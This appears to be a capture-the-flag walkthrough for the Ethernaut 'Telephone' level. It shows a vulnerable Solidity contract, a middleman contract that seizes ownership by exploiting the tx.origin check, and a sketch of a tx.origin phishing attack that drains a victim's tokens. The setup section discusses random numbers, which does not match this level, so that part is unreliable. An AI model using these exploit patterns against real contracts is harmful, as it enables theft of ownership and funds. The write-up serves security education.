Level 4 - Telephone ⏺

Level Setup

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Exploit

The contract is vulnerable because the msg.sender is the address that sent the transaction to interact with the contract, but this is only the final address if the transaction involved multiple contracts.

  1. Create a middleman contract so that x.origin != msg.sender.

make anvil-exploit-level-4

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level4.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

// ================================================================
// │                      LEVEL 4 - TELEPHONE                     │
// ================================================================
contract TelephoneMiddleman {
    function run(address _targetContractAddress) public {
        ITelephone(_targetContractAddress).changeOwner(msg.sender);
    }
}
  1. Submit instance... 🥳

Completion Message

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.

An example of a possible attack is outlined below.

  1. Use tx.origin to determine whose tokens to transfer, e.g.

function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.

function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

Notes

Last updated